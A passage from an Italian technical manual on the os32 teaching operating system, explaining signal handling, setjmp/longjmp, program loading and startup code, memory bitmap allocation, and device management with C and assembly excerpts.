Figura 109.61. Dopo la conclusione della funzione di gestione del segnale ricevuto, fino alla restituzione del controllo al termine di ***_sighandler_wrapper()***.

Lo scopo della funzione ***_sighandler_wrapper()*** è quello di garantire che sia preservato completamente l'ambiente di lavoro del processo nel momento dell'interruzione, perché non è possibile fare affidamento sul rispetto delle convenzioni di chiamata, dato che la funzione da azionare in corrispondenza dell'interruzione, viene iniettata in una posizione arbitraria del codice.

Riquadro 109.62. Programmazione ripetuta dei segnali.

Il sistema tradizionale con cui si programma una funzione in corrispondenza di un segnale, richiede che lo scattare del segnale riporti la gestione di questo allo stato predefinito, perché altrimenti la stessa funzione azionata potrebbe essere interrotta da un segnale che ne aziona un'altra. Se così fosse, la pila dei dati potrebbe riempirsi velocemente, portando il processo al collasso. Di conseguenza, se il programmatore desidera ripristinare una funzione associata a un segnale, lo deve richiedere alla fine della funzione stessa (chiamando ***signal()*** di nuovo), ma in tal caso c'è la possibilità che quel segnale raggiunga il processo nell'intervallo di tempo tra l'azionamento della funzione e il ripristino della programmazione della stessa. Per esempio, ciò significa che se si vuole controllare il segnale ***SIG_TERM*** per impedire che questo porti alla conclusione il processo, anche se la funzione azionata dal segale richiama ***signal()*** per programmarsi nuovamente dopo la chiamata, in modo da non perdere il controllo del segnale, se il processo viene interessato da una raffica si segnali ***SIG_TERM***, prima o poi il processo viene concluso, perché un segnale lo raggiunge quando quella funzione non ha ancora fatto in tempo a chiamare ***signal()***.

109.4.8 Salvataggio e recupero della pila per i «salti non locali»

Il linguaggi C prevede la disponibilità di due funzioni, attraverso le quali è possibile salvare il contesto della pila dei dati per poterne recuperare lo stato in un momento successivo. Tuttavia, tale recupero può avvenire solo se dopo il salvataggio il contenuto della pila precedente rimane valido, in quanto il recupero avviene solo in una situazione in cui la pila sia stata incrementata ulteriormente.

Il salvataggio si ottiene con la funzione ***setjmp()*** e il recupero con ***longjmp()***. L'effetto della chiamata della funzione ***longjmp()*** comporta il riportare il processo alla situazione in cui si trovava dopo l'esecuzione della funzione ***setjmp()***, con la differenza che nel secondo caso, la funzione ***setjmp()*** restituisce un valore differente.

Si tratta di un modo pessimo di programmare, tuttavia fa parte dello standard del linguaggio C.

Generalmente, la realizzazione delle funzioni ***setjmp()*** e ***longjmp()*** avviene nella libreria, senza coinvolgere il kernel in alcun modo. Ma os32 procede diversamente e si avvale invece di chiamate di sistema. Si tratta comunque di una scelta motivata esclusivamente da una più semplice comprensione del codice, facendo rientrare il meccanismo in quello più generale della gestione dei processi.

La funzione ***setjmp()*** è realizzata dal file '`lib/setjmp/setjmp.s`' (listato 120.10.2). La funzione svolge sostanzialmente il compito che si può vedere tradotto in linguaggio C nel codice seguente, se il compilatore gestisse la pila dei dati nella forma più compatta e prevedibile:

```
#include <sys/os32.h>
#include <setjmp.h>
int
setjmp (jmp_buf env)
{
  sysmsg_jmp_t msg;
  msg.env = env;
  msg.ret = 0;
  sys (SYS_SETJMP, &msg, sizeof msg);
  return (msg.ret);
}
```

La funzione ***longjmp()*** è realizzata invece in C, nel file '`lib/setjmp/longjmp.c`' (listato 120.10.1), perché non c'è la necessità di conoscere esattamente la struttura della sua pila.

La struttura corrispondente al tipo '**`sysmsg_jmp_t`**' si limita a due campi: un puntatore che deve fare riferimento alla memoria in cui viene salvato il contenuto della pila e il valore che deve restituire ***setjmp()*** quando rivive attraverso la chiamata di ***longjmp()***.

```
typedef struct {
    void  *env;
    int    ret;
} sysmsg_jmp_t;
```

Le due chiamate di sistema raggiungono, rispettivamente, le funzioni ***s_setjmp()*** e ***s_longjmp()*** del kernel (listati 119.8.29 e 119.8.17). La funzione ***s_setjmp()*** salva lo stato della pila, a partire dalla chiamata della funzione ***setjmp()***, mentre ***s_longjmp()*** lo ripristina, rimettendo anche l'indice della pila allo stato che aveva al momento della chiamata di ***setjmp()***.

Figura 109.65. Lo stato della pila durante le varie fasi che riguardano la chiamata di ***setjmp()***, a confronto con i tipi '**`jmp_stack_t`**' e '**`jmp_env_t`**'.

La funzione ***setjmp()*** prevede un argomento di tipo '**`jmp_buf`**' che lo standard prescrive sia come un array:

```
int setjmp (jmp_buf env);
```

In pratica, l'array serve solo a occupare lo spazio necessario a rappresentare il tipo

'**`jmp_env_t`**', i cui membri si vedono rappresentati nella figura già apparsa. La funzione ***s_setjmp()*** si occupa si salvare lo stato della pila, dal punto «A» al punto «B» della figura, all'interno di ***env***, secondo la struttura di '**`jmp_env_t`**', mettendo, oltre al contenuto della pila, il valore del suo indice attuale.

La funzione ***longjmp()*** deve portare al ripristino della pila, in una posizione antecedente rispetto a quella attuale.

```
void longjmp (jmp_buf env, int val);
```

Figura 109.66. La chiamata di ***longjmp()*** ricostruisce la vecchia pila di ***setjmp()***, nella posizione in cui si trovava, ricollocando l'indice della pila e modificando il valore che poi ***setjmp()*** rediviva va a restituire.

jmp_env_t
proc_stack_pointer
esp0
eax0
ecx0
edx0
ebx0
ebp0
esi0
edi0
ds0
es0
fs0
gs0
eip0
cs0
eflags0
eip1
syscallnr
msg_pointer
msg_size
env
ret
ebp1
eip2
void longjmp (jmp_buf env, int val);
void s_longjmp (jmp_buf env, int val);
copia
jmp_stack_t
eax0
ecx0
edx0
ebx0
ebp0
esi0
edi0
ds0
es0
fs0
gs0
eip0
cs0
eflags0
eip1
syscallnr
msg_pointer
msg_size
env
ret = val
ebp1
eip2

109.5 Caricamento ed esecuzione delle applicazioni

Caricare un programma e metterlo in esecuzione è un processo delicato che parte dalla funzione ***execve()*** della libreria standard e viene svolto dalla funzione ***proc_sys_exec()*** del kernel.

Figura 109.67. Da ***execve()*** a ***proc_sys_exec()***.

<unistd.h> execve() → <sys/os32.h> sys() → <kernel/proc.h> sysroutine() → <kernel/proc.h> proc_sys_exec()

interruzione software

109.5.1 Caricamento in memoria

La funzione ***proc_sys_exec()*** (listato 119.13.22) del kernel è quella che svolge il compito di caricare un processo in memoria e di annotarlo nella tabella dei processi.

La funzione, dopo aver verificato che si tratti di un file eseguibile valido e che ci siano i permessi per metterlo in funzione, procede all'allocazione della memoria, dividendo se necessario l'area codice da quella dei dati, quindi legge il file e copia opportunamente le componenti di questo nelle aree di memoria allocate.

> La realizzazione attuale della funzione ***proc_sys_exec()*** non è in grado di verificare se un processo uguale sia già in memoria, quindi carica la parte del codice anche se questa potrebbe essere già disponibile.

Terminato il caricamento del file viene aggiornata la tabella GDT e quindi viene ricostruita in memoria la pila dei dati del processo. Prima si mettono sul fondo le stringhe delle variabili di ambiente e quelle degli argomenti della chiamata, quindi si aggiungono i puntatori alle stringhe delle variabili di ambiente, ricostruendo così l'array noto convenzionalmente come '**`envp[]`**', continuando con l'aggiunta dei puntatori alle stringhe degli argomenti della chiamata, per riprodurre l'array '**`argv[]`**'. Per ricostruire gli argomenti della chiamata della funzione ***main()*** dell'applicazione, vanno però aggiunti ancora: il puntatore all'inizio dell'array delle stringhe che descrivono le variabili di ambiente, il puntatore all'array delle stringhe che descrivono gli argomenti della chiamata e il valore che rappresenta la quantità di argomenti della chiamata.

Figura 109.68. Caricamento degli argomenti della chiamata della funzione ***main()***.

FF90$_{16}$									3				0000FFA4$_{16}$				FF9F$_{16}$
FFA0$_{16}$	0000FFB4$_{16}$				0000FFC0$_{16}$				0000FFC3$_{16}$				0000FFC6$_{16}$				FFAF$_{16}$
FFB0$_{16}$	NULL				0000FFC8$_{16}$				0000FFDD$_{16}$				NULL				FFBF$_{16}$
FFC0$_{16}$	l	s	\0	–	l	\0	/	\0	C	O	N	S	O	L	E	=	FFCF$_{16}$
FFD0$_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	FFDF$_{16}$
FFE0$_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	FFEF$_{16}$
FFF0$_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	FFFF$_{16}$

Fatto ciò, vanno aggiunti tutti i valori necessari allo scambio dei processi, costituiti dai vari registri da rimpiazzare.

Figura 109.69. Completamento della pila con i valori dei registri.

FF60$_{16}$	EAX				ECX				EDX				EBX				FF6F$_{16}$
FF70$_{16}$	EBP				ESI				EDI				DS				FF7F$_{16}$
FF80$_{16}$	ES				FS				GS				EIP				FF8F$_{16}$
FF90$_{16}$	CS				EFLAGS				3				0000FFA4$_{16}$				FF9F$_{16}$
FFA0$_{16}$	0000FFB4$_{16}$				0000FFC0$_{16}$				0000FFC3$_{16}$				0000FFC6$_{16}$				FFAF$_{16}$
FFB0$_{16}$	NULL				0000FFC8$_{16}$				0000FFDD$_{16}$				NULL				FFBF$_{16}$
FFC0$_{16}$	l	s	\0	–	l	\0	/	\0	C	O	N	S	O	L	E	=	FFCF$_{16}$
FFD0$_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	FFDF$_{16}$
FFE0$_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	FFEF$_{16}$
FFF0$_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	FFFF$_{16}$

Superato il problema della ricostruzione della pila dei dati, la funzione ***proc_sys_exec()*** predispone i descrittori di standard input, standard output e standard error, quindi libera la memoria usata dal processo chiamante e ne rimpiazza i dati nella tabella dei processi con quelli del nuovo processo caricato.

109.5.2 Il codice iniziale dell'applicativo

I programmi iniziano con il codice che si trova nel file '`applic/crt0.mer.s`', oppure '`applic/crt0.sep.s`', a seconda che si compilino in modo da avere codice e dati nello stesso segmento, oppure in segmenti di memoria differenti. Questo file è abbastanza diverso da '`kernel/main/crt0.s`' del kernel; in particolare va osservato che, a differenza del kernel, il codice delle applicazioni viene eseguito in un momento in cui l'indice della pila è già collocato correttamente; inoltre, se la funzione ***main()*** delle applicazioni termina e restituisce

il controllo a 'crt0.*.s', un ciclo senza fine esegue continuamente una chiamata di sistema per la conclusione del processo elaborativo corrispondente.

Figura 109.70. Codice iniziale degli applicativi e variabile strutturata di tipo '**header_t**'.

```
.section .text
startup:
    jmp startup_code
filler:
    .space (0x0004 - (filler - startup))
magic:
    .quad 0x6F7333326170706C   # os32appl
doffset:
    .int _text_start|_text_end
etext:
    .int _text_end
edata:
    .int _data_end
ebss:
    .int _bss_end
stack_size:
    .int 0x8000
.align 4
startup_code:
…
```

```
typedef struct {
  uint32_t filler0;
  uint64_t magic;
  uint32_t data_offset;
  uint32_t etext;
  uint32_t edata;
  uint32_t ebss;
  uint32_t ssize;
} header_t;
```

La figura mostra il confronto tra il codice iniziale contenuto nel file 'applic/crt0.*.s', senza preamboli e senza commenti, con la dichiarazione del tipo derivato '**header_t**', presente nel file 'kernel/proc.h' (nel codice si può notare la differenza tra 'crt0.mer.s' e 'crt0.sep.s', relativa al valore assegnato alla variabile ***doffset***). Attraverso questa struttura, la funzione ***proc_sys_exec()*** è in grado di estrapolare dal file le informazioni necessarie a caricarlo correttamente in memoria.

Come già accennato, quando viene eseguito il codice di un programma applicativo, la pila dei dati è già operativa. Pertanto, dopo il simbolo '**startup_code**' si può già lavorare con questa.

```
    pop %eax            # argc
    pop %ebx            # argv
    pop %ecx            # envp
    mov %ecx, environ   # Variable 'environ' comes from <unistd.h>.
    push %ecx
    push %ebx
    push %eax
```

Per prima cosa, viene estratto dalla pila il puntatore all'array noto come ***envp[]***, per poter assegnare tale valore alla variabile ***environ***, come richiede lo standard della libreria POSIX. Tuttavia, per poter gestire poi le variabili di ambiente, si rende necessario utilizzare un array più «comodo», quando le stringhe vanno sostituite. A tale proposito, nel file 'lib/stdlib/environment.c', si dichiarano ***_environment_table[][]*** e ***_environment[]***. Il primo è semplicemente un array di caratteri, dove, utilizzando due indici di accesso, si conviene di allo-

care delle stringhe, con una dimensione massima prestabilita. Il secondo, invece, è un array di puntatori, per localizzare l'inizio delle stringhe contenute nel primo. In pratica, alla fine ***_environment[]*** e ***environ[]*** devono essere equivalenti. Ma per attuare questo, occorre utilizzare la funzione ***_environment_setup()*** che sistema tutti i puntatori necessari.

```
    push %ecx
    call _environment_setup
    add  $4, %esp

    mov  $_environment, %eax
    mov  %eax, environ

    pop %eax            # argc
    pop %ebx            # argv[][]
    pop %ecx            # envp[][]
    mov $_environment, %ecx
    push %ecx
    push %ebx
    push %eax
```

Come si vede dall'estratto del file '`applic/crt0.*.s`', si vede l'uso della funzione ***_environment_setup()*** (il registro ECX contiene già il puntatore a ***envp[]***, e viene inserito nella pila proprio come argomento per la funzione). Successivamente viene riassegnata anche la variabile ***environ*** in modo da coincidere con ***_environment***. Alla fine, viene ricostruita la pila per gli argomenti della chiamata della funzione ***main()***, ma prima di procedere con quella chiamata, si utilizzano delle funzioni, per inizializzare la gestione dei flussi di file e delle directory, sempre in forma di flussi, e per predisporre la tabella delle funzioni da eseguire alla conclusione del processo.

```
    call _stdio_stream_setup
    call _dirent_directory_stream_setup
    call _atexit_setup

    call main

    mov  %eax, exit_value
    …
.align 4
.section .data
exit_value:
    .int 0x00000000
.align 4
.section .bss
```

La funzione ***_stdio_stream_setup()***, contenuta nel file '`lib/stdio/FILE.c`', associa i descrittori standard ai flussi di file standard (standard input, standard output e standard error); la funzione ***_dirent_directory_stream_setup()***, contenuta nel file '`lib/dirent/DIR.c`', compie un lavoro analogo, limitandosi però a inizializzare un array di flussi di directory; la funzione ***_atexit_setup()***, contenuta nel file '`lib/stdlib/atexit.c`' azzera l'array ***_atexit_table[]***,

destinato a contenere l'elenco di funzioni da eseguire alla conclusione del processo.

Dopo queste preparazioni, viene chiamata la funzione ***main()***, la quale riceve regolarmente i propri argomenti previsti. Il valore restituito dalla funzione viene poi salvato in corrispondenza del simbolo '**`exit_value`**'.

```
halt:
    pushl $2             # Size of message.
    pushl $exit_value    # Pointer to the message.
    pushl $6             # SYS_EXIT
    call sys
    add  $4, %esp
    add  $4, %esp
    add  $4, %esp
    jmp halt
```

All'uscita dalla funzione ***main()***, dopo aver salvato quanto restituito dalla funzione stessa, ci si introduce nel codice successivo al simbolo '**`halt`**', nel quale si chiama la funzione ***sys()*** (chiamata di sistema), per produrre la chiusura formale del processo. Ciò che si vede è comunque l'equivalente di '**`_exit (`*exit_value*`);`**'.

109.6 Gestione della memoria

Dal punto di vista del kernel di os32, l'allocazione della memoria riguarda la collocazione dei processi elaborativi nella stessa. Per semplicità si utilizza una mappa di bit per indicare lo stato dei blocchi di memoria, dove un bit a uno indica un blocco di memoria occupato.

Nel file '`memory.h`' viene definita la dimensione di un blocco di memoria e, di conseguenza, la quantità massima che possa essere gestita. Attualmente i blocchi sono da 4096 byte, pertanto, sapendo che la memoria può arrivare solo fino a 4 Gibyte, si gestiscono al massimo 1048576 blocchi.

Per la scansione della mappa si utilizzano interi da 32 bit, pertanto tutta la mappa si riduce a 32768 di questi interi, ovvero 128 Kibyte. Nell'ambito di ogni intero da 32 bit, il bit più significativo rappresenta il primo blocco di memoria di sua competenza. Per esempio, per indicare che si stanno utilizzando i primi 28672 byte, pari ai primi 7 blocchi di memoria, si rappresenta la mappa della memoria come «FE0000000...».

Il fatto che la mappa della memoria vada scandito a ranghi di 32 bit va tenuto in considerazione, perché se invece si andasse con ranghi differenti, si incapperebbe nel problema dell'inversione dei byte.

109.6.1 File «kernel/memory.h» e «kernel/memory/...»

Listato 119.10 e successivi.

Il file '`kernel/memory.h`', oltre ai prototipi delle funzioni usate per la gestione della memoria, definisce la dimensione del blocco minimo di memoria e la quantità massima di questi, rispettivamente con le macro-variabili ***MEM_BLOCK_SIZE*** e ***MEM_MAX_BLOCKS***; inoltre predispone il tipo derivato '**`addr_t`**', corrispondente a un indirizzo di memoria reale.

Figura 109.75. Mappa della memoria in blocchi: la dimensione minima di un'area di memoria è di ***MEM_BLOCK_SIZE*** byte.

4294967296 byte == 4 Mibyte == MEM_MAX_BLOCKS * MEM_BLOCK_SIZE

... *blocchi di memoria*

MEM_BLOCK_SIZE MEM_BLOCK_SIZE

Nei file della directory '`kernel/memory/`' viene dichiarata la mappa della memoria, corrispondente a un array di interi a 32 bit, denominato ***mb_table[]***. L'array è pubblico, tuttavia è disponibile anche una funzione che ne restituisce il puntatore: ***mb_reference()***. Tale funzione sarebbe perfettamente inutile, ma rimane per uniformità rispetto alla gestione delle altre tabelle.

Tabella 109.76. Funzioni per la gestione della mappa della memoria, dichiarate nel file di intestazione '`kernel/memory.h`' e realizzate nella directory '`kernel/memory/`'.

Funzione	Descrizione
`uint32_t *mb_reference (void);`	Restituisce il puntatore alla tabella dei blocchi di memoria, per uniformare l'accesso alla tabella dalle funzioni che non fanno parte del gruppo contenuto nella directory '`kernel/memory/`'.
`ssize_t mb_alloc (addr_t` ***address***`,` `size_t` ***size***`);`	Alloca la memoria a partire dall'indirizzo indicato, per la quantità di byte richiesta. L'allocazione ha termine anticipatamente se si incontra un blocco già utilizzato. La funzione restituisce la dimensione allocata effettivamente.
`void mb_free (addr_t` ***address***`,` `size_t` ***size***`);`	Libera la memoria a partire dall'indirizzo indicato, per la quantità di byte richiesta. Lo spazio viene liberato in ogni caso, anche se risulta già libero; tuttavia viene prodotto un avvertimento a video se si verifica tale ipotesi.
`int mb_reduce (addr_t` ***address***`,` `size_t` ***new***`,` `size_t` ***previous***`);`	Riduce un'area di memoria già utilizzata. Restituisce zero se l'operazione si conclude con successo, oppure -1 in caso contrario, aggiornando la variabile ***errno*** di conseguenza.
`void mb_clean (addr_t` ***address***`,` `size_t` ***size***`);`	Azzera l'area di memoria specificata.

Funzione	Descrizione
`addr_t mb_alloc_size (size_t size);`	Alloca un'area di memoria della dimensione richiesta, restituendone l'indirizzo. La funzione conclude con successo il proprio lavoro se il valore restituito è diverso da zero; se invece l'indirizzo ottenuto è pari a zero si è verificato un errore che può essere verificato analizzando il contenuto della variabile ***errno***.
`void mb_size (size_t size);`	Questa funzione, usata una sola volta all'interno di ***kmain()***, serve a definire la dimensione massima della memoria disponibile in blocchi. In pratica, le si fornisce la dimensione effettiva della memoria che viene così divisa per la dimensione del blocco, ignorando il resto. Questa informazione viene conservata nella variabile ***mb_max***.
`void mb_print (void);`	Funzione diagnostica che visualizza gli intervalli di memoria utilizzati, esprimendoli però in blocchi.

109.6.2 Scansione della mappa di memoria

Listato 119.10 e successivi.

La mappa della memoria si rappresenta (a sua volta in memoria), con un array di interi a 32 bit, dove ogni bit individua un blocco di memoria. Pertanto, l'array si compone di una quantità di elementi pari al valore di ***MEM_MAX_BLOCKS*** diviso 32.

Il primo elemento di questo array, ovvero ***mb_table[0]***, individua i primi 32 blocchi di memoria, dove il bit più significativo si riferisce precisamente al primo blocco. Per esempio, se ***mb_table[0]*** contiene il valore $F8000000_{16}$, ovvero 1111100000000000_2, significa che i primi cinque blocchi di memoria sono occupati, mentre i blocchi dal sesto al trentaduesimo sono liberi.

Dal momento che i calcoli per individuare i blocchi di memoria e per intervenire nella mappa relativa, possono creare confusione, queste operazioni sono raccolte in funzioni statiche separate, anche se sono utili esclusivamente all'interno del file in cui si trovano. Tali funzioni statiche hanno una sintassi comune:

```
int mb_block_set1   (int block)
int mb_block_set0   (int block)
int mb_block_status (int block)
```

Le funzioni ***mb_block_set1()*** e ***mb_block_set0()*** servono rispettivamente a impegnare o liberare un certo blocco di memoria, individuato dal valore dell'argomento. La funzione ***mb_block_status()*** restituisce uno nel caso il blocco indicato risulti allocato, oppure zero in caso contrario.

Queste tre funzioni usano un metodo comune per scandire la mappa della memoria: il valore che rappresenta il blocco a cui si vuole fare riferimento, viene diviso per 32, ovvero il rango degli elementi dell'array che rappresenta la mappa della memoria. Il risultato intero della divisione serve per trovare quale elemento dell'array considerare, mentre il resto della divisione serve per determinare quale bit dell'elemento trovato rappresenta il blocco desiderato. Trovato

ciò, si deve costruire una maschera, nella quale si mette a uno il bit che rappresenta il blocco; per farlo, si pone inizialmente a uno il bit più significativo della maschera, quindi lo si fa scorrere verso destra di un valore pari al resto della divisione.

Per esempio, volendo individuare il terzo blocco di memoria, pari al numero 2 (il primo blocco corrisponderebbe allo zero), si avrebbe che questo è descritto dal primo elemento dell'array (in quanto 2/32 dà zero, come risultato intero), mentre la maschera necessaria a trovare il bit corrispondente è $00100000000000000000000000000000_2$, la quale si ottiene spostando per due volte verso destra il bit più significativo (due volte, pari al resto della divisione).

Una volta determinata la maschera, per segnare come occupato un blocco di memoria, basta utilizzare l'operatore OR binario:

```
        mb_table[i] = mb_table[i] | mask;
```

Se invece si vuole liberare un blocco di memoria, si utilizza un AND binario, invertendo però il contenuto della maschera:

```
        mb_table[i] = mb_table[i] & ~mask;
```

Va osservato che la rappresentazione dei blocchi nella mappa è invertita rispetto ad altri sistemi operativi, in quanto non sarebbe tanto logico il fatto che il bit più significativo si riferisca invece alla parte più bassa del proprio insieme di blocchi di memoria. La scelta è dovuta al fatto che, volendo rappresentare la mappa numericamente, la lettura di questa sarebbe più vicina a quella che è la percezione umana del problema.

109.7 Dispositivi

La gestione dei dispositivi fisici, da parte di os32, è limitata ed essenziale. Tutte le operazioni di lettura e scrittura di dispositivi, passano attraverso la gestione comune della funzione ***dev_io()***.

Nel file '`lib/sys/os32.h`' (listato 120.15), disponibile sia al kernel, sia alle applicazioni, sono elencate le macro-variabili che descrivono tutti i dispositivi previsti in forma numerica. Queste macro-variabili hanno nomi prefissati dalla sigla ***DEV_***.... Per esempio, ***DEV_DM_MAJOR*** corrisponde al numero primario (*major*) per le unità di memorizzazione di massa, ***DEV_DM00*** corrisponde al numero primario e secondario (*major* e *minor*), in un valore unico, della prima unità di memorizzazione di massa complessiva, mentre ***DEV_DM01*** corrisponde alla prima partizione della stessa.

109.7.1 File «kernel/dev.h» e «kernel/dev/...»

Listati 119.3 e successivi.

Il file '`kernel/dev.h`' incorpora il file '`lib/sys/os32/os32.h`', per acquisire le macro-variabili della gestione dei dispositivi che sono disponibili anche agli applicativi. Successivamente dichiara la funzione ***dev_io()***, la quale sintetizza tutta la gestione dei dispositivi. Questa funzione utilizza il parametro ***rw***, per specificare l'azione da svolgere (lettura o scrittura). Per questo parametro vanno usate le macro-variabili ***DEV_READ*** e ***DEV_WRITE***, così da non dover ricordare quale valore numerico corrisponde alla lettura e quale alla scrittura.

```
ssize_t dev_io (pid_t pid, dev_t device, int rw, off_t offset,
                void *buffer, size_t size, int *eof);
```

Sono comunque descritte anche altre funzioni, ma utilizzate esclusivamente da ***dev_io()***.

La funzione ***dev_io()*** si limita a estrapolare il numero primario dal numero del dispositivo complessivo, quindi lo confronta con i vari tipi gestibili. A seconda del numero primario seleziona una funzione appropriata per la gestione di quel tipo di dispositivo, passando praticamente gli stessi argomenti già ricevuti.

Va osservato il caso particolare dei dispositivi ***DEV_KMEM_...***. In un sistema operativo Unix comune, attraverso ciò che fa capo al file di dispositivo '`/dev/kmem`', si ha la possibilità di accedere all'immagine in memoria del kernel, lasciando a un programma con privilegi adeguati la facoltà di interpretare i simboli che consentono di individuare i dati esistenti. Nel caso di os32, non ci sono simboli nel risultato della compilazione, quindi non è possibile ricostruire la collocazione dei dati. Per questa ragione, le informazioni che devono essere pubblicate, vengono controllate attraverso un dispositivo specifico. Quindi, il dispositivo ***DEV_KMEM_PS*** consente di leggere la tabella dei processi, ***DEV_KMEM_MMAP*** consente di leggere la mappa della memoria, e così vale anche per altre tabelle.

Per quanto riguarda la gestione dei terminali, attraverso la funzione ***dev_tty()***, quando un processo vuole leggere dal terminale, ma non risulta disponibile un carattere, questo viene messo in pausa, in attesa di un evento legato ai terminali.

os32 gestisce virtualmente tutti i dispositivi come se fossero a caratteri. Tuttavia, nel caso delle unità di memorizzazione di massa il flusso di caratteri, in lettura o in scrittura, viene scomposto in blocchi, sfruttando anche una memoria (*cache*) per questi. Pertanto, la funzione ***dev_dm()*** si avvale di ***blk_ata()***.

Figura 109.79. Interdipendenza tra la funzione ***dev_io()*** e le altre. I collegamenti con le funzioni ***major()*** e ***minor()*** sono omesse.

109.7.2 File «kernel/blk.h» e «kernel/blk/...»

Listati 119.2 e successivi.

I file contenuti nella directory '`kernel/blk/`' riguardano specificatamente la gestione della memoria *cache* per i blocchi di dati usati più di frequente, relativamente ai dispositivi di memorizzazione. In pratica, tale gestione riguarda esclusivamente le unità PATA.

La tabella ***blk_table()*** è composta da elementi '**`blk_cache_t`**', ognuno dei quali rappresenta un blocco singolo, con l'indicazione del dispositivo (dell'unità intera e non di una singola partizione) e del numero di blocco a cui si riferisce, assieme a un numero che ne rappresenta l'«età».

Inizialmente, la funzione ***blk_cache_init()***, usata una volta sola all'interno di ***kmain()***, si azzerano le informazioni sul numero di dispositivo e sul numero del blocco di ogni elemento della tabella, quindi si assegna l'età attraverso un numero progressivo, da 0 a ***BLK_CACHE_MAX_AGE***. Il numero più basso rappresenta l'ultimo blocco letto o modificato, mentre quello più alto riguarda il blocco che da più tempo non è stato utilizzato.

Quando la funzione ***blk_ata()*** deve leggere un blocco da un'unità PATA, prima, attraverso la funzione ***blk_cache_read()***, controlla all'interno della tabella ***blk_table()*** esiste già una copia del blocco; questo viene trovato, la funzione ***blk_cache_read()*** ne azzera l'età, incrementando conseguentemente l'età dei blocchi che avevano prima un valore inferiore al suo. Se il blocco viene trovato nella tabella, la funzione non interpella l'hardware PATA e conclude il suo lavoro, altrimenti provvede alla lettura necessaria e al suo salvataggio nella tabella dei blocchi, con l'aiuto di ***blk_cache_save()***, la quale aggiorna il blocco se questo era già presente nella tabella, oppure rimpiazza il blocco di età maggiore, aggiornando di conseguenza l'età, come nel caso della lettura.

Quando la funzione ***blk_ata()*** deve scrivere un blocco, la scrittura hardware avviene in ogni caso, seguita dal salvataggio nella tabella dei blocchi.

In pratica, la memoria *cache* viene usata solo per le letture, pertanto tutte le scritture sono sincrone.

109.7.3 Numero primario e numero secondario

I dispositivi, secondo la tradizione dei sistemi Unix, sono rappresentati dal punto di vista logico attraverso un numero intero, senza segno, a 16 bit. Tuttavia, per organizzare questa numerazione in modo ordinato, tale numero viene diviso in due parti: la prima parte, nota come *major*, ovvero «numero primario», si utilizza per individuare il tipo di dispositivo; la seconda, nota come *minor*, ovvero «numero secondario», si utilizza per individuare precisamente il dispositivo, nell'ambito del tipo a cui appartiene.

In pratica, il numero complessivo a 16 bit si divide in due, dove gli 8 bit più significativi individuano il numero primario, mentre quelli meno significativi danno il numero secondario. L'esempio seguente si riferisce al dispositivo che genera il valore zero, il quale appartiene al gruppo dei dispositivi relativi alla memoria:

`DEV_MEM_MAJOR`	01_{16}
`DEV_ZERO`	0104_{16}

In questo caso, il valore che rappresenta complessivamente il dispositivo è 0104_{16} (pari a 260_{10}), ma si compone di numero primario 01_{16} e di numero secondario 04_{16} (che coincidono nella rappresentazione in base dieci). Per estrarre il numero primario si deve dividere il numero complessivo per 256 (0100_{16}), trattenendo soltanto il risultato intero; per filtrare il numero secondario si può fare la stessa divisione, ma trattenendo soltanto il resto della stessa. Al contrario, per produrre il numero del dispositivo, partendo dai numeri primario e secondario separati, occorre moltiplicare il numero primario per 256, sommando poi il risultato al numero secondario.

109.7.4 Dispositivi previsti

L'astrazione della gestione dei dispositivi, consente di trattare tutti i componenti che hanno a che fare con ingresso e uscita di dati, in modo sostanzialmente omogeneo; tuttavia, le caratteristiche effettive di tali componenti può comportare delle limitazioni o delle peculiarità. Ci sono alcune questioni fondamentali da considerare: un tipo di dispositivo potrebbe consentire l'accesso in un solo verso (lettura o scrittura); l'accesso al dispositivo potrebbe essere ammesso solo in modo sequenziale, rendendo inutile l'indicazione di un indirizzo; la dimensione dell'informazione da trasferire potrebbe assumere un significato differente rispetto a quello comune.

Tabella 109.81. Classificazione dei dispositivi di os32.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_MEM`	r/w	diretto	Permette l'accesso alla memoria, in modo indiscriminato; tuttavia, solo al kernel è permessa la scrittura.
`DEV_NULL`	r/w	nessuno	Consente la lettura e la scrittura, ma non si legge e non si scrive alcunché.
`DEV_PORT`	r/w	sequenziale	Consente di leggere e scrivere da o verso una porta di I/O, individuata attraverso l'indirizzo di accesso (l'indirizzo, o meglio lo scostamento, viene trattato come la porta a cui si vuole accedere). Tuttavia, la dimensione dell'informazione da trasferire è valida solo se si tratta di uno o di due byte: per la dimensione di un byte si usano le funzioni ***in_8()*** e ***out_8()***; per due byte si usano le funzioni ***in_16()*** e ***out_16()***. Per dimensioni differenti la lettura o la scrittura non ha effetto.
`DEV_ZERO`	r	sequenziale	Consente solo la lettura di valori a zero (zero inteso in senso binario).
`DEV_TTY`	r/w	sequenziale	Rappresenta il terminale virtuale del processo attivo.
`DEV_DM`***mn***	r/w	diretto	Rappresenta la partizione ***n*** dell'unità di memorizzazione ***m***. La prima unità PATA disponibile ottiene il dispositivo ***DEV_DM00***, la seconda il numero ***DEV_DM10***, ecc.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_KMEM_PS`	r	diretto	Rappresenta la tabella contenente le informazioni sui processi. L'indirizzo di accesso indica il numero del processo di partenza; la dimensione da leggere dovrebbe essere abbastanza grande da contenere un processo, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_MMP`	r	sequenziale	Rappresenta la mappa della memoria, alla quale si può accedere solo dal suo principio. In pratica, l'indirizzo di accesso viene ignorato, mentre conta solo la quantità di byte richiesta.
`DEV_KMEM_SB`	r	diretto	Rappresenta la tabella dei super blocchi (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il super blocco; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un super blocco, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_INODE`	r	diretto	Rappresenta la tabella degli inode (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare l'inode; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un inode, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
